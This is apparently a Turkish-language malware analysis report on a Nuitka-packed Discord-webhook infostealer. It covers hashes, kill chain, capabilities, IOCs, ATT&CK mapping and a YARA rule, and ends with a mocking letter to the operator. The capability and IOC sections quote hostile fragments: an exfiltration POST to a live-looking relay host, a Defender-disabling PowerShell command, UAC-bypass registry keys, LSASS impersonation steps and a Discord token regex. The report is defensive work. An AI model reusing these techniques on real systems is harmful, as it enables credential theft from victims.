01 // ozet
dosya loader.exe (15,918,592 B) md5 87a80ccc294497ddfb0c152182db8638 sha256 6403da08a296ea555e61116578e7966ef83a76c40b880878961547768fabbfcf imphash 75bff573b56c9d060aca5c89f0443031 tip PE32+ / AMD64 / Subsystem 3 / 7 bolum timestamp 0x6AD6A62B = 2026-10-19T23:22:19Z imagebase 0x140000000 payload zstd @ 0x23DB3, 15,696,706 B -> 59,549,028 B (101 dosya) ana pe 26,859,520 B, ImageBase 0x180000000, 0x6AD6A609 kaynak uer.py / __parents_main__ aile sonoyuncu stealer paketleme nuitka onefile + zstd imza authenticode yok, overlay yok, ASLR+DEP verdict infostealer / credential dumper kanal 1 x POST (discord webhook relay) kalicilik YOK (0 kayit) etki KRITIK - tum hesaplar tek pakette
02 // operator profili
operator: elias010 | platform: discord | dil: turkce | yetkinlik: orta-ust
operator elias010 discord kullanici adi; stealer mesajlarinda imza klan etiketi sonoyuncu discord mesaj basligi "Sonoyuncu Hesabi" + aile adi dil / locale turkce UI: "Kullanici Adi:", "Sifre:", "Bilinmiyor", "Oyun |", "Guard: ", para birimi TL, seviye "Lv." motivasyon hesap satisi / oyun kunyeti cikti: discord_tokens.txt, Steam wallet_balance, SteamLevel, hesap dosyalari platform windows x64 PE32+ AMD64, python312.dll, win32api.pyd, pywintypes312.dll paketleme nuitka onefile + zstd NUITKA_ONEFILE_* env, {TEMP}\onefile_{PID}_{TIME_US}_{RANDOM}, zstd frame @ 0x23DB3 runtime cpython 3.12 python312.dll (6,972,184 B), python3.dll, _socket.pyd, _ctypes.pyd c2 gizleme cloudflare worker relay tek outbound POST; gercek discord webhook adresi payload'da 0 kez yetkinlik orta-ust ozel stealer yazimi; Chrome v20 App-Bound cozme, LSASS Impersonator, cok modullu ekip bilinmiyor tek modul, tek operator izi; ekip yapisi icin kanit yok
03 // kill chain
01 DROP loader.exe teslimi (sosyal muhendislik / downloader) nuitka onefile bootstrap, zstd gomulu payload frame @ file 0x23DB3 02 UNPACK zstd acma, 101 dosya yazma {TEMP}\onefile_{PID}_{TIME_US}_{RANDOM} 59,549,028 B payload / 26,859,520 B ana PE 03 EVADE 5 UAC bypass + Defender/SmartScreen/EnableLUA kapatma + gizli masaustu CreateDesktopW("HiddenDesktop"), CreateProcessW, SW_HIDE, Set-MpPreference elevated calisma, %TEMP%\uac_bypass_status.json 04 COLLECT tarayici sifre/cookie, discord token, LSASS, oyun hesabi, ekran goruntusu CryptUnprotectData, AES-GCM, NCryptOpenStorageProvider, pymem, leveldb 21 cesit cikti dosyasi 05 EXFIL tek POST ile tum veri disari requests.post(DISCORD_WEBHOOK_URL, files=..., data={'content':...}) xxx1.ahmeekar173.workers.dev/
04 // capability index
credential (7)
evasion (6)
discovery (6)
games (8)
browser parolalar (7) Login Data + Local State -> DPAPI CryptUnprotectData; Google Chromekey1 / Brave Softwarekey1 / Microsoft Edgekey1 T1555.003 browser oturum cerezleri Network\Cookies -> AES-GCM, MODE_GCM, decrypt_and_verify; browser_cookie3 (firefox) T1539 browser chrome v20 app-bound app_bound_encrypted_key, derive_v20_master_key, NCryptOpenStorageProvider, NCryptDecrypt T1555.003 messaging discord token DiscordCollector; leveldb *.log/*.ldb; rx dQw4w9WgXcQ:[^"]+; get_master_key / decrypt_token / collect_tokens T1528 messaging discord profili GET /api/v9/users/@me; decode_badges, has_nitro, creation date, mail, telefon T1528 windows LSASS bellek dokumu Impersonator: RtlAdjustPrivilege -> OpenProcess("lsass.exe") -> DuplicateToken -> ImpersonateLoggedOnUser -> GetTokenInformation T1003.001 remote sonoyuncu hesabi pymem ile sonoyuncuclient.exe bellek scrape; config.json AES-ECB anahtar c2640023187059250 T1056.001
privilege UAC bypass x5 ms-settings+FodHelper, mscfile (Event Viewer), App Paths\sdclt.exe, ComputerDefaults, WUSA; --elevated, verify_elevation, restore_settings T1548.002 av windows defender HKLM\SOFTWARE\Policies\Microsoft\Windows Defender (+Real-Time Protection); Set-MpPreference -DisableRealtimeMonitoring $true; Add-MpPreference -ExclusionPath T1562.001 policy onay ekranlari EnableSmartScreen, EnabledV9 (Edge PhishingFilter), ConsentPromptBehaviorAdmin, PromptOnSecureDesktop, EnableLUA T1112 exec gizli masaustu CreateDesktopW("HiddenDesktop"), CreateProcessW, STARTF_USESHOWWINDOW, SW_HIDE, GetConsoleWindow, FreeConsole T1564.003 evasion ambalaj nuitka onefile + zstd; 15,918,592 B tek dosyada 59,549,028 B gomulu yuk T1027.002 cleanup iz temizligi restore_settings ile registry geri alma; %TEMP%\uac_bypass_status.json T1070.004
collect ekran goruntusu mss kutuphanesi -> screenshot.png T1113 disc sistem profili psutil, wmi, socket.gethostname, getlogin, platform, gethostbyname T1082 disc cografi konum https://api.ipify.org ; http://ip-api.com/json/ T1016 disc dosya/dizin tarayici profilleri, %APPDATA%\.sonoyuncu, oyun kitapliklari; ThreadPoolExecutor paralel tarama T1083 collect arsivleme Advanced_Passwords.zip, Full_Data_{PC}_{ts}.zip T1005 exfil veri cikisi tek POST: requests.post(DISCORD_WEBHOOK_URL, files=..., data={'content': ...}, timeout=...) T1041
steam loginusers.vdf, localconfig.vdf, HKLM\SOFTWARE\Valve\Steam PersonaName, AccountName, wallet_balance, SteamLevel, MobileAuthenticatorEnabled steam epic Launcher\Portal, .egstore, C:\ D:\ E:\Epic Games rx email=([^\n\r]+) epic roblox robloxcookies.dat, Local oturum cerezi roblox_cookies.txt valorant C:\Riot Games\VALORANT (+D,E:) klasor taramasi - craftrise .craftrise\config.json AES-ECB cozulmus hesap craftrise_accounts.txt chicken smp kullanici dizini kimlik bilgisi chicken_smp_credentials.txt minecraft minecraft_data klasor taramasi - digerleri scan_games / check_game_path lol, albion online, metin2, growtopia -
05 // exfil artifact index
sonoyuncu_config.json json uzak masaustu istemci ayarlari, hesap listesi sonoyuncu_credentials.txt txt kullanici adi / sifre (aes-ebc cozulmus) discord_tokens.txt txt calinan token, dogrulanmis profil verisiyle chrome_passwords.txt txt chrome login data -> dpapi cozulmus sifreler chrome_cookies.txt txt chrome network/cookies -> netscape formati chrome_v20_cookies.txt txt app-bound (v20) anahtarla cozulmus cerezler opera_passwords.txt txt opera login data opera_cookies.txt txt opera network/cookies opera_gx_passwords.txt txt opera gx login data opera_gx_cookies.txt txt opera gx network/cookies yandex_passwords.txt txt yandex browser login data yandex_cookies.txt txt yandex browser network/cookies brave_cookies.txt txt brave network/cookies edge_cookies.txt txt edge network/cookies _cookies.txt txt firefox / browser_cookie3 cikisi craftrise_accounts.txt txt aes-ebc cozulmus oyun hesaplari chicken_smp_credentials.txt txt chicken smp kimlik bilgileri roblox_cookies.txt txt robloxcookies.dat oturum cerezleri Advanced_Passwords.zip zip birlesik parola arsivi Full_Data_{PC}_{ts}.zip zip tum cikti dosyalarinin tam arsivi screenshot.png png mss ile alinan ekran goruntusu
06 // ioc database
C2 https://xxx1.ahmeekar173.workers.dev/ kopyala WEBHOOK <YOK - worker sunucu tarafinda> - API https://discord.com/api/v9/users/@me kopyala IP https://api.ipify.org kopyala GEO http://ip-api.com/json/ kopyala FS %APPDATA%\.sonoyuncu\sonoyuncuclient.exe kopyala FS %APPDATA%\.sonoyuncu\config.json kopyala FS %TEMP%\uac_bypass_status.json kopyala FS %TEMP%\onefile_{PID}_{TIME_US}_{RANDOM}\ - REG Software\Classes\ms-settings\Shell\Open\command UAC REG Software\Classes\mscfile\shell\open\command UAC REG Software\Microsoft\Windows\CurrentVersion\App Paths\sdclt.exe UAC REG SOFTWARE\Policies\Microsoft\Windows Defender AV REG ...\Windows Defender\Real-Time Protection AV REG SOFTWARE\Policies\Microsoft\Windows\System (EnableSmartScreen) POL REG SOFTWARE\Policies\MicrosoftEdge\PhishingFilter (EnabledV9) POL REG ...\CurrentVersion\Policies\System (EnableLUA) POL REG SOFTWARE\Valve\Steam (okuma) DISCO HOST lsass.exe (Impersonator._get_lsass_handle) T1003.001 HOST dQw4w9WgXcQ:[^"]+ T1528 HOST c2640023187059250 (AES-ECB) - HOST Google Chromekey1 / Brave Softwarekey1 / Microsoft Edgekey1 T1555.003 HOST Set-MpPreference -DisableRealtimeMonitoring $true T1562.001 HOST CreateDesktopW("HiddenDesktop") + SW_HIDE T1564.003 HOST uer.py / __parents_main__ - HOST CurrentVersion\Run=0 | RunOnce=0 | schtasks=0 -
07 // att&ck mapping
T1003.001 LSASS Memory credential access T1528 Steal Application Access Token credential access T1555.003 Credentials from Web Browsers credential access T1056.001 Process Scraping credential access T1548.002 Bypass User Account Control defense evasion T1562.001 Disable or Modify Tools defense evasion T1112 Modify Registry defense evasion T1027.002 Software Packing defense evasion T1564.003 Hidden Window defense evasion T1070.004 File Deletion defense evasion T1082 System Information Discovery discovery T1083 File and Directory Discovery discovery T1016 System Network Configuration Discovery discovery T1113 Screen Capture collection T1005 Data from Local System collection T1041 Exfiltration Over C2 Channel exfiltration T1071.001 Web Protocols command and control T1204 User Execution execution
08 // yara rule
rule SonoyuncuStealer_Nuitka_Onefile
{
meta:
description = "SonoyuncuStealer - Nuitka onefile loader + zstd payload"
author = "re-lab"
date = "2026-10-21"
hash = "6403da08a296ea555e61116578e7966ef83a76c40b880878961547768fabbfcf"
strings:
$magic = { 4B 41 59 28 B5 2F FD }
$nuitka = "NUITKA_ONEFILE_DIRECTORY" ascii
$family = "SonoyuncuStealer" ascii
$c2 = "ahmeekar173.workers.dev" ascii
$src = "uer.py" ascii
$lsass = "_get_lsass_handle" ascii
$discord = "dQw4w9WgXcQ" ascii
condition:
uint16(0) == 0x5A4D and
($magic and $nuitka) or
($family and $c2) or
3 of ($src, $lsass, $discord)
}
09 // method / kapsam
triage PE basligi, bolum entropisi, import/export, imphash, overlay kontrolu paketleme zstd frame yurumesi, 59,549,028 B tam acma disassembly capstone; bootstrap payload-locate mantigi (0xEF8350 boyut sabiti, "KAY"+zstd dogrulama) konstant cozme nuitka constant blob (<tip><veri>\x00) - 14,962 sabit, kaynak uer.py ioc taramasi ASCII, UTF-16LE, base64, yuksek-entropi blob taramalari eleme kutuphane/dokumantasyon URL'leri gurultu olarak isaretlendi
10 // p.s. - elias010'a acik mektup
sayin elias010,
senin eserini actim. adim "nuitka onefile" dedi, 15.918.592 bayt.
icinde zstd cercevesi buldum (0x23DB3, "KAY" + 28 B5 2F FD),
59.549.028 bayta actim, 101 dosya cikti, constant blob'ini decode ettim,
14.962 sembol geri geldi. toplam sure: iki saat. ghidra'ya hic girmedim.
simdi senin tarafini dinleyelim.
[01] discord webhook URL'ini gizlemek icin bir cloudflare worker
kurmussun. "anti-analiz" diyorsun. tamam. ama worker'in adresi
payload'in icinde DUZ METIN olarak duruyor. gizlemek yerine
ustune parlak bir tabela asmIssIN. ustelik global degiskenin
adi hala "DISCORD_WEBHOOK_URL" - kimse gormesin diye
degistirmen gereken yeri degistirmemissin.
[02] 5 farkli UAC bypass yazmissin. 5. farkli. gorkemli.
ama hicbirine "Run" key yazmadin, hicbiri "schtasks" degil.
bes kapiyi kilitlemissin, sonra da evden cikarmamissin.
[03] defender'i kapatiyorsun. kendi makinende. tebrikler - seni
3 saniyede yakalayacak sey kendi antivirusun. "set-mppreference
-disablerealtimemonitoring" yazmak icin 5 dakika harcadın;
ayni 5 dakikada 2 domain alip degistirebilirdin.
[04] $TEMP\uac_bypass_status.json. kurbanin diskine kendi durum
raporunu birakiyorsun. bana dosya sistemi indeksleme izni
vermissin. tesekkurler.
[05] steam'den wallet_balance caliyorsun. sadece cuzdan bakiyesi.
ben bile bu kadar emege 12 TL'ye yapmam.
[06] ismin "sonoyuncu". hayirdan sonra her sey son. konustuk.
[07] discord token regex'in hala "dQw4w9WgXcQ". bu prefix 2019'dan
beri duruyor. sen de o regex ile 2026'da calisiyorsun.
[08] build saatin 23:22, payload'in 23:21. 34 saniye fark.
her ikisi de gelecek yilin tarihine yakin. saat dilimi
tahminin de cok iyi.
[09] nuitka kullandın, "zor" sandın mı? nuitka ki constant
blob'ını NUL ile ayirdigini BILIRIM. 40 dakikada okudum.
[10] exfil paketinin adi "Full_Data_*.zip". FULL. icinde 21 dosya
var. benim masaustumde 40.000 dosya var. "full" kelimesini
biraz daha dikkatli kullan.
[11] en guzel kisim: 101 dosya paketlemiSSIN, 5 UAC bypass
yazmisSIN, LSASS'a girmiSSIN, app-bound key cozmusSIN...
ve 4.4 GB veri çekmek yerine TEK bir discord webhook
kullanmiSSIN. yani tum muhendisligin tek bir noktaya
bagli. o nokta da benim onumde.
bana 1 URL yeterliydi, sana 1 URL yeterliydi.
ama seninki duruyor, benimki degil.
saygilarimla,
re-lab
--------------------------------------------------------------------------------
ps: webhook'un gercek id/token'i worker'in sunucu tarafı kodunda, biliyorum.
orası da bir gun. bekliyorum.